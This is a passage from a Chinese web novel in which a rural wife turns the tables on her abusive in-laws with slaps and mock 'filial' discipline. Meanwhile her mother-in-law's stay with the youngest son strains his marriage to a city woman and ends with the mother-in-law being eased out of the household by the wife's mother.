云灵上去就是一巴掌,打的他后槽牙都松动了。“我是你大嫂,谁准你这么叫我的!做人不光要孝还要悌,一把年纪了这点道理都不懂,罚你今天不许吃饭,只能喝凉水!”
“你——”朴为善瞪眼。
朴为善突然怂了。
他怎么忘了,大嫂这两天脑子不正常,算了,好男不跟女斗,他不跟她计较。
“那个,大嫂”,李招娣缩在朴为善身后,颤颤巍巍开口,“大哥为啥不用跟我们一起啥,啥定省?”
“你大哥病了,特许他休息一天。”
“你们好好跟妈检讨过失,然后再烧火做早饭,把水缸挑满,把地浇了。我先去睡会儿。”
云灵往最边上那间空屋走。<
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那是老三朴为德的屋子,他找了个富裕人家的姑娘结婚,跑去做了上门女婿,工作也被人家解决了。这个小儿子是艾侽的心头肉,他人不在家,屋子还是要留着。
云灵那间屋子被朴世仁弄得那么脏,她才不要去睡,只能先用朴为德的屋子对付对付了。
“大嫂,我们都要干活儿,你凭什么去睡?妈,你看看大嫂呀,她还要睡老三的屋子!”李招娣出离愤怒了,甚至让她暂时丢掉了畏惧,谁都能比她过得好,可云灵不能。
云灵回身抽了她两耳光,“管好你自己,别天天唯恐天下不乱!你凭什么跟我比,罚你今天也不许吃饭,跟他一样喝凉水!”
李招娣脑子嗡嗡的,她满含委屈地望向艾侽和朴为善,指望他们帮自己说句话。
可艾侽和朴为善突然对家具产生了无比浓厚的兴趣,避开了她的目光。
这一天对于朴为善和李招娣来说,无比漫长。
云灵睡到日上三竿才起,然后就开始检查他们的工作。
饭煮的太硬了!“你不知道妈吃不了硬东西吗?”几巴掌打过来!
扫院子声音太大!“你影响妈睡觉了。”几巴掌打过来!
衣服洗得不够干净!“你敢让妈穿脏衣服?”几巴掌加一脚踹过来!
他们只能寄希望于朴世仁快点好起来,好好管管云灵。
可他们失望了。
第二天一早,云灵一脚踹开房门,把朴世仁抓出来,“不就是吹了点风,还要矫情多久,快点起来伺候妈!”
朴世仁塌着腰,脸色铁青,眼袋都快垂到地上了。
他盯着云灵,满脸哀怨。
他昏迷到半夜生生冻醒过来,先是崩溃痛哭了一场,接着又想起不能让人知道他废了的事。
呜呜,伦家的命怎么那么苦!他的眼神更加如泣如诉了。
噫,好恶心!云灵一脚把他踹到艾侽面前,“愣着干嘛,去给妈捶背!”他不敢不听,小碎步跑过去,“咚咚咚”捶起来。
“老大,你这是怎么了?”艾侽打量朴世仁,神色惊疑不定。“你脸色怎么这么差?病得这么严重吗?快回去歇歇吧。”
云灵走过来,“妈,用不着,他就是懒骨头,得好好抻抻筋才行。去年我发高烧,不照样种地做饭,一样活儿不拉吗?男人不能惯着,我既然行,他也一样能行。”
“你!哪有你这么不心疼自己男人的?那你倒说说,你今天又干什么了?”云灵理直气壮,“我在教他们做孝子啊,只要他们能学会了,把你照料的服服帖帖,再苦再累我都不抱怨。”
艾侽气得直哆嗦,“老大呀,你一个男人得管好自己媳妇啊,你看看她,都要上房揭瓦了。”
云灵玩味地看着朴世仁,“是吗?男人?”
“呜呜”,朴世仁抬头看看她们,眼泛泪花,头一扭又捶起背来,站姿还是小内八。
艾侽愕然,不知道朴世仁怎么突然就转了性子。但她在家里称王称霸靠的就是三个儿子,如今老大不中用了,老二被打服了,老三又不在身边,她也就扬巴不起来了。
云灵盯着朴世仁,让他足足捶了一上午,他要是敢偷懒上去就是一巴掌,艾侽叫停都没用。
直到李招娣把饭菜端上桌,云灵才同意他停手。
朴世仁哆嗦着筷子,刚夹了块肉,被云灵一巴掌拍掉,“谁许你坐着吃饭了,没看见你弟弟怎么做的?给我站到一边伺候妈吃饭,妈吃完你才能吃!”
他扭头一看朴为善,已经被训练的乖乖站到艾侽右边,给她夹菜了。
他只好也站到艾侽左边,给她盛了碗汤。
两边都有人伺候着,还有云灵在一旁监督,艾侽虽然有些不自在,但也忍不住飘飘然起来。别说,这还真有点老太君的意思,这个大儿媳妇虽说不太正常了,但懂得孝顺还是没错的,而且还知道不上桌吃饭,还算守规矩。
云灵看出她在想什么,撇了撇嘴。
就让艾侽沉醉在虚幻里好了,她还不想跟他们一块儿吃呢。饭刚一做好,她就已经把自己那份儿盛出来,喂狗了。
这样一来,吃剩饭的就只有李招娣,她气得一边吃一边哭,眼泪鼻涕糊了一脸。
回到屋里,李招娣逮着朴为善就抱怨,念叨得朴为善头都大了,“大嫂先吃就先吃了呗,你不服气,去跟妈说。我一个小叔子不好管嫂子的事。”
李招娣被噎了个倒仰,大嫂好欺负的时候,朴为善都帮朴世仁动手打过,现在她不好惹了,就端出嫂子小叔子的说法了。敢情理都是他们家的,随便他们怎么讲!
李招娣不停嘟囔,还说都是儿媳妇,不能太偏心,要是这样她也要上桌。
朴为善烦了,他被云灵支使了一天,已经累得不行,就想好好睡一会儿,偏偏李招娣还不肯闭嘴,他立起眼睛,“反了你个臭娘们了,给老子闭上你那张臭嘴!”
他抡起巴掌,对李招娣拳脚相加。
李招娣也想反抗,抵不过男人的力气,没几下就被朴为善骑在身上打。
朴为善本来想让她闭嘴就好了,可打上了瘾头,把这几天在云灵那儿受的气都发了出来,打得李招娣哭爹叫娘。
哭喊声传过来,云灵冷笑一声,这都是李招娣咎由自取,她可没心思管。
41. 团宠世界
就这样,时间一长,艾侽心里别扭起来。
云灵天天什么活儿都不干,除了睡觉就是遛狗,吃饭倒是抢在头里,李招娣一做好,她马上蹿出来盛,然后端回屋里。
这还有规矩王法吗?
他们家不养懒媳妇的!
她跟朴世仁说了几次,烧火棍都递到了他手里,可朴世仁跟霜打了的公鸡似的,不敢冲云灵放一个响屁。
她实在想不通,云灵是给朴世仁下什么药了,怎么病了一天,就让朴世仁雄风不振了。
不管怎么说,她忍不下去了。
这天,刚撂下筷子,她就开始发难,“云灵,你都好几天没去上班了,公司得扣多少钱啊,你快回去多加几天班吧,把请的假补回来。”
哼,要不是这几天云灵动不动就发疯,她才不会这么客气呢。
“那工作我已经辞了。”
啥?
艾侽瞪大眼,这么大的事儿都不跟她商量一下,还有没有把她放在眼里!
“隔一天去一次,动动笤帚就一千多块,打着灯笼都找不着这么好的活儿,你说辞就给辞了?不行,你给我马上找领导道歉,把工作要回来!要不就去找别的活儿,必须给我把钱挣回来,少一分就别进这个家门!”
艾侽对云灵横眉立目,云灵一拍桌子,碗碟震得飞起,一盆紫菜蛋花汤糊了艾侽满脸。
云灵一指朴世仁和朴为善,“你们两个,怎么又惹妈生气了!”
正吃艾侽剩饭的朴世仁和朴为善:……
这女的还让不让人活了?
下一刻,云灵就把他们的头按到饭碗里。
“你们这两个不孝子,为什么总是要惹妈生气?你们惹她生气,我就得教训你们,我压力很大很辛苦的,你们知不知道!我为这个家付出了这么多,你们为什么不能多体谅体谅我!为什么一直难为我?还不快给妈道歉!”
“呜呜……”
脑袋还在碗里呢怎么道歉啊?
“快,快住手!”
艾侽急的乱挥手,又不敢上前,活像要抱窝的老母鸡。
云灵放开他们,“你们听见没有,妈想要钱!虽然我不知道她一个不干活光吃白饭的人想要钱干吗,但她既然想要,你们去赚就是了。
那个物业公司正招人去通下水道,每人每天一百块,你们明天就去干,必须赚到两千块让妈高兴,听见了吗?”
让他们去干这种脏活儿?
他们一百个不乐意,可是怕挨打,第二天早早就出门干活儿了,走之前云灵还指挥他们,把家里收拾了一遍。
几天下来,两兄弟累成了泥猴。
他们虽然种地,但真正的脏活累活都是丢给原主和李招娣去干的,他们从没这么累过,脸上的肉肉都累没了。
他们不敢惹云灵,只能去找艾侽,劝她去老三家住两天。只要艾侽不在家,云灵没有孝顺的由头,总不能再折腾他们了。
艾侽心思也活动了,云灵虽说没难为她,不过老是阴恻恻的,看得她发毛。万一云灵哪根筋搭错了,转头收拾她怎么办?
再说老三家条件好,她也愿意去。
给老三打了电话,那边举双手赞成,给艾侽买好了票,她一溜烟儿的逃了。
出了火车站口,老三西装革履开着簇新的小轿车来接她,看得艾侽心花怒放。
她小心翼翼地爬上车,也不认识是什么牌子,就觉得处处都好,心里别提多美了。
这个儿子就是有出息,脑子灵活长得也得人意,要不怎么城里有钱的小姑娘上赶着要嫁呢,真不枉费她以前偷偷给老三吃的鸡蛋。
“老三,这车是你新买的?”朴为德在驾驶座上支吾了两句,“公,公司的。”这是公司新买来跑业务的,他为了充面子,说了谎话才开出来。
艾侽一拍大腿,“哎呀,我的傻儿子,你也太实在了,公司的不就是你的?他们老郝家只有你媳妇一个女儿,别说车了,连公司再加上你媳妇这人,那都是你的!他们家绝户了,还得靠着你支撑门户呢。你就是公司的驸马爷,得拿得起派头才行呢。”
城里人就是傻,也不知道生个儿子,倒拿个丫头当宝贝,挣再多钱有什么用?
这要在他们村里,走路都抬不起头来。
不过也好,这些可都便宜她儿子了。
朴为德“嘿嘿”笑了两声,他毕业就跟同学结了婚,到她家的公司上班,不是没有人说风凉话的。
可那些人懂什么?他妈的话才是正理。他可不是靠着老婆,而是去给她家顶门立户的!
艾侽晃了晃脑袋,“你媳妇能干不?把你伺候得怎么样?你有什么不满意的就跟妈说,妈教她怎么做。”
“不用”,老三把着方向盘,一脸春风得意,“家里请了个保姆,做饭打扫有她呢,郝稻梅也得上班,不用干家里的活儿。”
啥玩意儿?当女人居然不伺候男人?
还,还恬不知耻地雇保姆,真是被惯的不知东南西北了!怪不得她们家一个男孩都生不出来呢,居然认识不到男人的宝贵!
男人是天,女人是地,地要是不好好撑着天,那世界不乱套了吗?
不过,艾侽这些话没说出口,毕竟朴为德是在她们家公司上班,还是要给几分面子的。
她决定先不跟郝稻梅计较,观察观察再说。
……
凌晨五点,郝稻梅悄悄摸起来,昨天她加班回来晚了,到家就睡下了,还有一大摊家务堆着等她做呢。
她轻手轻脚地擦屋子、扫地、洗衣服,还要收拾厕所。
艾侽不舍得冲厕所,在她看来,只要不是拉屎就不用冲。
郝稻梅劝了她几次,反而被她责怪“不会过日子”。
马桶被艾侽沤出一股尿骚味儿,尿碱挂了一圈儿,熏得稻梅阵阵作呕。她强忍着恶心,冲刷干净了,眼泪一直在眼圈儿打转。
出嫁前,她也是家里的娇娇女,十指不沾阳春水的,现在却要伺候一家老小,不是不委屈的。
无声地哭了一会儿,来不及做早餐了,她擦干眼泪,披上外套出去买。
豆腐脑、油炸糕、炉箅子,朴为德特地叮嘱过艾侽都爱吃什么,让郝稻梅一定先可着她买。
大包小裹拎回去,稻梅还没来得及缓口气,艾侽趿拉着鞋走出来,一看见这些东西,浑浊的双眼瞬间尖锐起来,“哎呀呀,稻梅,你怎么买这么多东西呀,我就说一早上叮咣吵得我都没睡好呢。”
“不是妈说你,女人可不能懒啊,你就早点起来做饭,还能把你累死吗?想当年我怀着老三,背上还背着他二哥,还给全家做早饭呢。
一不留神,差点把他二哥掉锅里,锅里可全是开水呀,差点把我吓死。你跟我们那时候比起来,可不要太享福了!”
稻梅太阳穴一抽一抽地疼,你是没睡好吗?我怎么在客厅都听见你打呼噜了?
还有别以为我不知道当年的事儿,我刚结婚去你家的时候,隔壁胖婶儿偷偷跟我说了,本来二哥都大了,能离开人了,可你硬把他背背上,弄得他差点掉到锅里。
你拿这件事儿说嘴,骂了半个月的街,吓得你婆婆再也不敢让你干活了。
我一大早上又收拾屋子又买早餐的,合着都做错了,还得听你的训!稻梅眉毛立了起来,朴为德看出不好,急忙上去隔开,“妈,是我跟稻梅说你爱吃这些,特意让她去买的,你慢慢吃吧,我和稻梅得去上班了。”说完,就搂着稻梅走了。
到了屋外,郝稻梅一个包儿抡过来,他一动不动地受了。
男子汉大丈夫嘛,能伸能屈,韩信不是都能受胯下之辱吗?他受得了这个委屈。“稻梅,我妈年纪大了,爱唠叨,你就让着她点,别跟她一般见识。”
“她那是唠叨几句吗?我还不够让着她吗?保姆多好的人呐,干净勤快还热心,自从她来了,横挑鼻子竖挑眼,硬是挤兑得人家干不下去了。保姆是抹着眼泪走的,说她干过这么多家,就没见过这么难伺候的老太太,拿人当奴才使呢!”
“她不让我再招阿姨,说费钱,家务活儿咱们自己也能干。好啊,那她倒是帮我干啊!别光是支嘴,坐着那儿大爷一样等我伺候,我就没见过谁家婆婆这么大派头!”
艾侽的到来的消息让稻梅感到不悦。
她们居住的两室一厅公寓,近一百平方米的空间,是她父母在她结婚时购买的。
尽管空间足够,但稻梅内心并不愿意与婆婆同住。尽管与艾侽的接触不多,但稻梅已经感觉到婆婆不是一个容易相处的人。
若不是因为她与朴为德的初恋情感深厚,仅凭这位婆婆,她就不会选择嫁入这个家庭。
然而,既然是朴为德的亲生母亲,并且只是说要来住几天,稻梅觉得她没有理由反对,只能勉强露出微笑,尽力照顾这位难缠的客人。
她原本计划等待婆婆住得满意后自行离开,然后她可以继续过自己的小日子。但出乎意料的是,婆婆似乎已经习惯了这里的生活,竟然住了两个月,而且根本没有提及要回去的打算。
朴为德揉了揉额头,对于这位城市娇小姐来说,即使是做一些小家务也会抱怨不休。他耐心地说:“稻梅,我不是告诉过你吗,我妈把我们三个孩子拉扯大不容易。现在她老了,我们应该更加孝顺她。作为媳妇,为婆婆做做饭、洗洗衣服难道不是理所当然的吗?哪个家庭的媳妇不是这样过来的?你有什么好委屈的?我妈又不是长期在这里,只是这几天你就受不了了?”
稻梅感到愤怒,“那你呢?你妈把你养大,但并没有养我。你口口声声说要孝顺她,那你为她做了什么?就只是娶了一个媳妇回来,让媳妇专门照顾她?”
当然了,不然我娶你干什么?这句话在朴为德的嘴边转了一圈,最终还是咽了
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回去。和这些被宠坏的城市孩子有时候是讲不通道理的。
“稻梅,你不能不讲道理,我要上班,回家后都累得要死,哪有时间做家务?”
“那我呢?”稻梅指着朴为德的鼻子说,“我就不用上班了?我的工作量比你少吗?为什么我回家后还得做家务!你妈每天就在家里躺着,连饭都等我下班回去做,衣服也是等我回去洗。如果我不打扫屋子,她也不会做,屋里脏得像猪圈一样,她也能住得下去。我倒想问,她是手断了还是脚断了?”
“朴为德,我平时不和你计较,但如果真的要计较,我们可以好好算算。你一个刚毕业的广告专员能挣多少钱,你心里清楚。如果不是我爸担心我们刚结婚不够用,每个月额外给你开了两千,你以为你能挣五千吗?但你呢,每个月把一大半工资都寄给你妈,剩下的钱你自己都不够用,还得花我的,这些我从未向家里提过!”
“我对你妈好,处处让着她,并不是欠她的,而是我想维护我们这个小家,是我重视我们之间的感情!但如果你的心里只有你妈,没有我们这个小家,那我也不用委屈自己了。如果公司让你这么累,你可以不去,看看就凭你自己,能找到什么样的工作!”
她竟敢威胁他!朴为德抿紧嘴唇,鼻子重重地出气。
到底是女人,见识短浅,心眼小,这还没怎么样,就开始翻旧账,好像他受到了她们家多大的恩惠!不就是在她们家公司上班吗?不就是结婚时她家买的房和车吗?不就是丈母娘经常私下补贴他们吗?有什么了不起的!都是一家人了,有必要计较这么多吗!他为这个家付出的怎么就没人看到?
他工作加班加点,陪岳父应酬差点喝到吐血,怎么就不提了呢?她们家会对他好,还不是看中他是个人才,才百般拉拢他!
朴为德攥紧了拳头,手里光滑的触感提醒了他,让他清醒过来。他低头看看手里做工精致的牛皮公文包,这还是稻梅看他喜欢,特意托人从国外给他买回来的。他是个知恩图报的人,不和稻梅计较,他是男人,还是受过高等教育的大学生,应该让着自己的女人。
“好了好了,别生气了,以后我下班帮你做些家务,总行了吧?”看着他委屈求全的样子,稻梅感到一阵心累。
说不通,怎么都说不通。
不是第一次鸡同鸭讲了,谈恋爱时就有苗头,但初恋的美好滤镜让她主动为朴为德找理由,忽略了这些。
而且,平时只要她循循善诱,朴为德还算能听进去,能改变几分,剩下的几分,就换她来容忍了。
过日子嘛,靠的不就是互相谦让吗。但一旦涉及到他妈朴为德就像只蛮牛,死活都不肯让一步,逼急了,只会劈头盖脸的跟她嚷。
就像现在,他觉得他已经让步了,却没想到家务本就是该共同分担的,到了他嘴里,就变成帮她干。而且,不管他妈怎么不对,也容不得任何人说他妈一句不是。
别以为她没看到,刚才她说艾侽又不是断手断脚时,朴为德拳头都硬了。
她真怕再说下去,朴为德都能动手!
稻梅不想说了,扔下一句“随便你吧”,上班走了。
朴为德一看,他都这么妥协了,竟然还换不来稻梅一个笑容,也生起气来,骂了句“德行”,也扭头走了。
……
尽管和稻梅不欢而散,但朴为德自认为是个好员工,公司的事他绝对是尽心尽力的。
他刚花了几天功夫,挖空心思做了一个方案,敲开总经理办公室的门,给岳父递了上去。
岳父的公司其实不大,只有二十多人,是家广告公司。朴为德的方案是做给他们最大的客户,保险公司的。他美滋滋地把方案交了上去,等待岳父的夸奖。
郝父戴上眼镜看了半天,一口枸杞茶差点喷出来,“这方案是你写的?夸他们的保险无以伦比,是全行业第一?”
“对呀”,朴为德仰着头,“做广告嘛,当然要宣传自己多厉害喽,我们把他们夸得最牛,他们肯定高兴。”
“那你就没想到会给他们树多少敌?”郝父眼镜都要歪了,女婿看着挺精灵的人,怎么做事这么糊涂。
“枪打出头鸟,这么简单的道理你都不懂?做广告当然要宣传优点,但不能捧一踩一,那样人家会恨死你,何况你这一踩还是全行业的人!别说他们还不是保险公司里最厉害的,就是它是,广告也不能这么做!”
“这要传出去,咱们公司会成为行业里的笑柄,以后还想接单子吗?别的不说,就说其它的保险公司,还会跟咱们合作吗?”郝父叹口气,还是年轻啊,缺少历练。
“我不是让大陈带你吗,他是你的上司,也是公司的老人儿了,我开公司的时候他就跟着我,公司的业务他都熟。以后凡事你先跟他汇报,越级上报在职场是大忌。好了,你先回去吧。”
被训了一顿,朴为德蔫头耷脑地回了工位。
42. 团宠世界
办公室里没有不透风的墙,朴为德被训斥的消息不胫而走。
公司里,许多人对此幸灾乐祸。
原本,对于这位空降的驸马爷,大家就心存不满。
朴为德自诩为大学生,不愿放下身段与同事们融洽相处,偏偏他又未能展现出令人信服的能力,于是流言蜚语愈发猖獗。
就连一向厚道的大陈也不禁感叹:“我们哪有资格教导他?他可是靠着枕边风直达天听的人物,有事还是让他直接去问总经理吧。”
起初,大陈真心想要指导朴为德,但对方却傲慢至极,只在公司里围着郝父转,对这位名义上的“师父”不屑一顾。时间一长,大陈的耐心也消耗殆尽。
即便有郝父的庇护,大家不能公然对朴为德怎样,但在职场上,排挤人的手段层出不穷。
不久,朴为德在公司里便处处碰壁,事事不顺。
他心烦意乱,也无心去哄稻梅,两人的关系陷入了僵局,甚至下班时也不再同行。
当初为了方便,郝家购置的新居离公司仅几步之遥。
然而,就是这短短的几分钟路程,两人也要一前一后,仿佛彼此是陌生人。
郝稻梅走在前面,刚走近便听到一个粗犷的声音怒吼:“哪个不要脸的摘了老娘的菠菜!你若好好跟我说,我会不给吗?非得不要脸去做贼!还踩坏了一大片,你可得小心别被老娘抓到,否则老娘非剁了你的贼爪子不可!”
这是一楼的大婶,她热心肠,勤劳,只是说话时声音大了些。一楼的小院里,她喜欢种些蔬菜,不只是为了吃,更多的是不想让自己闲下来。菜长好了,她总会分给邻居们一些。如今有人偷了她的菜,还糟蹋了那么多,无疑是触了她的逆鳞,难怪她会如此愤怒。
稻梅安慰了大婶几句便回家了,面对的又是冷清的厨房,朴为德所谓的“帮她做家务”不过是一句空话。
她冷笑一声,打开冰箱准备做两道菜填肚子。然而,当她打开冰箱时,她愣住了,随即冲着朴为德喊道:“你快来看看,这是怎么回事?”
朴为德不耐烦地走过来,“又怎么了?你就不能消停会儿?”话音未落,他也愣住了。
冰箱里躺着两把新鲜的菠菜,显然是刚从地里拔出来的。拔菜的人太匆忙,菜根上的泥土都没来得及甩掉,弄得冰箱里泥泞不堪,仿佛经历了一场混战。
稻梅的声音尖利起来,“这是怎么回事?朴为德你给我说清楚!”还不等朴为德回答,艾侽背着手从屋里踱过来,“瞎嚷嚷什么?不就是弄了点儿土吗,有什么大惊小怪的!你快收拾收拾,然后把这菠菜炒个鸡蛋,咱们晚上吃。”
稻梅勉强压下心中的怒火,“妈,这菜是怎么来的?别告诉我是你买的,哪有卖菜的带着这么多土卖!”
“怎么着?你还想审问我啊!还哪儿来的?地里长出来的!菜叶上又没写名字,吃你的就完了,你管那么多干吗!”
稻梅气得几乎要哭出来,“这是——人家——园子里种的!!!”艾侽翻了个白眼,“那又怎样,谁让她没看好?我说楼下那娘们是你什么人,你要这么向着她!”
“我要去举报你,你这是偷窃!!”
稻梅感到羞愤交加,她刚才还安慰了楼下的大婶,没想到贼就在身边!她难道缺艾侽吃的,还是少艾侽喝的?
她至于去偷鸡摸狗吗?想到刚才大婶儿骂的那些难听话,稻梅脸上一阵红一阵白,几乎站不稳。
“什么?你说我是贼?老三啊,快看看你媳妇儿,她这是要我的命啊!我这是为了谁啊,还不都是想帮你们省点钱吗!城里东西贵,你媳妇儿又大手大脚的,我心疼你挣钱不容易啊!”艾侽拍着大腿,又开始了她那套唱念做打的表演。
朴为德心疼不已,“稻梅,你够了!我妈不就是摘了几把菜吗,在我们村里,经过谁家地上去薅一把都是常事,你至于这么上纲上线吗?你以为你家有多讲究?有本事把话说在明面,少在公司给我穿小鞋!”
稻梅又惊又怒,“你说谁给你穿小鞋?!”
“别装糊涂了!要不是你跟你爸说了小话,我那么好的方案你爸怎么给否了?大陈是他派来带我的,怎么反而带头针对我?”
稻梅感到一阵寒意,“那都是公事公办,我从来没跟我爸说过什么,如果你的方案好,我爸当然会用。我又怎么会撺掇同事给你脸色看!”
“少来这套!公司都是你爸的,想怎么样还不是他一句话的事儿,我就是运气不好,犯到你们一家人手里,只能认命了。不过,你们有什么事儿冲我来,敢欺负我妈,我跟你们没完!”
他这些天早都想明白了,他之所以在公司被排挤,都是稻梅在背后捣鬼。不然,怎么那么巧,他们刚吵完架,自己的方案就被否决了。
稻梅仿佛不认识朴为德一样,不可置信地盯着他。这是正常人能说出来的话吗?自从艾侽来了之后,母子俩天天凑在一起嘀咕,朴为德的行事作风也就越来越偏颇,越来越小家子气了。
她跟他实在沟通不了,这个家根本就不是正常人待的地方。“咱们各自冷静一下吧”,稻梅说完,夺门而出。
朴为德像泄了气的皮球一样,一屁股倒在沙发上,艾侽急忙凑过去,“老三,他们在公司给你气受了?”朴为德闭着眼没说话,只是疲惫地点了点头。
“哎呦,这个天打雷劈的,串通外人给自己男人气受,她的心怎么这么狠哟。我儿是大学生,一身的本事,什么大官的女儿娶不得,早知这样我说啥都不让她进咱家的门!老三,你不能惯着她,得好好晾她几天,看她一个断后的人家能翻出什么浪来。等她想明白了,就知道回来求你了!”
朴为德叹了口气,“我知道了,妈,你别气坏了身子。”最近他确实感到有些疲惫,高高在上的自尊也受到了不小的打击,此刻艾侽以他为傲的态度,让他感到十分贴心,不禁感慨,到底还是自己的亲妈最好,知道心疼他。
可惜他没有看到,艾侽眼里闪过的心虚。
艾侽虽然嘴上强硬,但她对朴为德的处境心知肚明。
无论这个儿子有多大的能耐,目前还得依赖稻梅。
对待倒霉,她不能像对待云灵和李爱侽那样。
然而,她在家中被伺候惯了,不自觉地摆出了架子,结果生生把稻梅气跑了,她心里也有些不安。
多年的争吵经验让她学会了一个道理:输人不能输阵,嘴上绝不能示弱,否则就会落于下风,被人追着骂。
晚上,朴为德买了几张馅饼,两人无味地吃了一些。
而稻梅家里则热闹得多。
稻梅哭着跑回家,让母亲吓了一跳。
听完女儿抽泣着说完事情经过,她暗自叹息,真是冤孽!当初女儿要和朴为德结婚时,她就不赞成。
做生意多年,她自认有几分看人的眼力。
艾侽难缠,朴为德又是个孝顺听话的儿子,女儿嫁过去,恐怕有得受了。
她本想反对,但女儿坚持要嫁,朴为德也对她百般讨好,她只能无奈答应,想着反正都在她眼皮底下,多留心些,不让女儿受委屈就好。
没想到,女儿还是受了委屈。
她搂着女儿,问道:“你跟妈说,你还打算继续过下去吗?”
稻梅抽着鼻子,不说话了。
她虽然快气死了,但就这么放弃一段婚姻,是不是太草率了?她是不是应该再给朴为德一次机会?
郝母给她擦擦眼泪,“你要是还想继续过,就不能和你婆婆闹翻。这样吧,明天我去和你婆婆谈谈,让她过段时间就回去。等她走了,你们小两口把话说开,能过还是好好过。”
第二天,朴为德上班后,郝母拎着一袋水果登门,打了艾侽一个措手不及。
艾侽在屋里四仰八叉地躺着,只穿了件汗衫,见郝母来了,急忙抓了件衣服披上。
郝母笑容满面,“亲家母来了这些日子,怎么也不说到家里坐坐?”
艾侽支支吾吾,说不出个所以然来。
郝母虽然态度亲切,但穿戴讲究,保养得宜,明明和她是同龄人,看起来却比她年轻十几岁,让她有些自惭形秽。
郝母自顾自往下说,“昨天的事稻梅都跟我说了,我狠狠说了她一顿,有什么话不能好好说,吵吵嚷嚷的干什么?”
“亲家母,我这女儿让我惯坏了,说话不留神,但心是好的。她要有什么得罪你的地方,你别见怪,回头告诉我,我来收拾她。”
“没有,稻梅挺好的。”
艾侽有些尴尬,郝母的笑容更是不到眼底,“亲家母真是通情达理。我昨天都跟稻梅说了,你婆婆平时辛苦了,到你家歇几天也正常。等她缓过乏来,家务活儿肯定能给你搭把手。”
“你婆婆种地都是把好手,这点活儿还能难倒她?我们当老人的,没什么别的念想,就希望儿女过得好。你们工作那么忙,
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你婆婆肯定把后方给你安顿好了。”
“你婆婆跟村里乡亲都处得好,想吃点什么随手就摘了,跟咱们城里不一样。你婆婆就是一时没反应过来,可别说你婆婆是偷,那可太难听了。”
郝母拍拍她的手,“亲家母你别担心,我刚才已经跟楼下那老姐姐说清楚了,你不常到城里,不了解情况,让她不知者不罪,我还给她送了兜水果赔罪。哎,她那个人呐,就是嘴碎爱唠叨,其实人可好了。说不定等你回去时,她还能送你一兜菜呢。”
一番话说得艾侽脸上一阵红一阵白,说不上是个什么颜色。
这亲家怎么这么毒呦,居然跟楼下那婆子承认了菜是她偷的,还点明那婆子爱乱说话,那没几天,这小区的人不都得知道了。她还怎么在这小区住?怎么有脸出去晒太阳扯闲篇啊?
目的达到,郝母准备告辞了,“稻梅呢,就先让她在我那儿住几天,我给她做点好吃的补补。这几天公司太忙,这孩子又要强,生怕别人说她是靠我们,硬是把人都熬瘦了一圈儿,我看着别提多心疼了。亲家母应该能明白我的心,谁家的孩子谁疼啊。”
得,还有什么可说的,郝母一走,艾侽就开始收拾东西。
人家话里话外撵自己走呢,就别再自讨没趣儿了。
真是高兴着来,灰心着走,艾侽委屈上了,一边收拾一边“吧嗒吧嗒”掉眼泪。等朴为德回来,看到的就是眼睛跟烂桃儿一样的艾侽。
“妈,你怎么了?怎么还收拾起东西了?”
“老三,今天你丈母娘来了,她……哎,不说了,回头你媳妇回来,你们好好过日子。只要你过得好,妈就高兴。”
朴为德心“蹦蹦”直跳,“她来干吗?她给你气受了?”
“没有没有”,艾侽连连摆手,“你别问了,妈大半截入土的人了,这辈子什么苦没吃过?我不跟她们计较了。你还得在他们家公司上班呢,只要他们对你好,妈什么委屈都能受。”
“妈,儿子不孝,是我对不起你……”朴为德心如刀割,他“噗通”一声跪下,紧紧抱住艾侽的腿,泪水夺眶而出。
“傻孩子啊,”艾侽轻抚着他的头,泪水同样止不住地流淌,“妈就是想不明白,这房子虽说是她家买的,可这是你媳妇的嫁妆啊。她嫁过来了,这就是你的。怎么我自己儿子的房子,我就不能住了呢?”
“老三呐,你凡事一定要多长个心眼儿。他们能这么对我,保不齐将来怎么对你呢。你一定要想办法,早点把他们的家产都拿过来,好好教训教训这些狗眼看人低的。”
“嗯,妈你放心,儿子以后一定不让你再受委屈。”朴为德哽咽着,泪水模糊了视线。
郝稻梅,你们家欺人太甚!老子要忍辱负重、卧薪尝胆,等老子翻过身来,再狠狠收拾你们!
……
不管再不愿意,艾侽还是讪讪地回了村里。
她一到家,迎面又是一个晴天霹雳——她的钱被云灵拿走了。
艾侽险些瘫倒在地,家里的钱都在她手里,可现在倒好,足足八千块呀!
艾侽惨叫一声,飞奔回屋里。
别的东西都没动,就是木头柜子上的锁坏了,柜门大敞四开着。
她伸手摸出最底层包钱的布包,打开一看,存折倒是没动,可钱都没了。
艾侽眼前一黑,她不太信银行,家里的钱就存了一半,剩下的现金她就放柜子里,睡觉前都要摸一摸才安心。这下全没了!
艾侽觉得她的半条命也跟着去了,“云灵,你给我滚出来!”
云灵正补觉呢,被她喊醒满脸不耐,“你们两个,怎么妈刚回来就惹她生气,给我跪下!”
朴世仁和朴为善特别给面子,说跪就跪,一点儿都不含糊。
朴世仁还跟艾侽求饶,“妈,求你了,就别管她了。你一管她,倒霉的可是我们啊!”
“你们,你们怎么成这样了?”艾侽快心梗了,怎么比她走之前还严重?
朴世仁和朴为善心里也在流血,他们也不想的,可他们亲眼看见云灵徒手把柜子上的铁锁拽断了,谁拦着她拿钱,她能把谁脑袋扇掉了。
惹不起,他们真的惹不起呀!
“哎呦,老头子,我活不了了……”
艾侽又开始捶胸顿足,云灵晃晃脖子,“看你们把妈气得,这样吧,你们就在她面前跪着,什么时候妈气消了,你们才能起来!”
……
43. 团宠世界
云灵有了钱,打算离开这个家,过自个的好日子去。
让她没想到的是,正瞌睡就有人送枕头。
半个月后,艾侽竟然先发难了。“云灵,谁许你一天到晚游手好闲的?你马上给我下地干活,再出去找个工作,不然我让老大跟你离婚!”
这个儿媳妇天天闲在家里,她实在看不下去了。
这时村里离婚的人不多,艾侽不信云灵有这胆量。
而且云灵如果离了婚,就不是村里的人了,村里会收回她的地,她的户口也会迁回去。她娘家那个村子人口更多,也没地再分给她,到时她连生计都成问题。
艾侽觉得她一定能吓住云灵,让云灵乖乖听话。
云灵:还有这好事? “好,不就是离婚吗,我同意了。”
什么?艾侽瞠目结舌。
“你为啥同意离婚,难道你还嫌弃老大?” 云灵望向天空,“你非要这么想,那我也没办法。”
“你要是离婚,以后你就没人要了,我们家以后不会给你一分钱!不会管你死活!” 哼,云灵一定是在硬撑,她就不信治不了她!
“就这么办,我走出这个门,就跟这个家没关系了。”云灵十分干脆的答应了。
朴世仁脑袋摇成了拨浪鼓,“那不行,离婚是妈说的,我可没说,我不同意!”
他也不傻,这些天早想明白了。云灵虽然变化很大,天天反过来欺负他,但他身体已经成了这样,离了云灵,也不可能再有别的女人,那还不如守着云灵过下去。
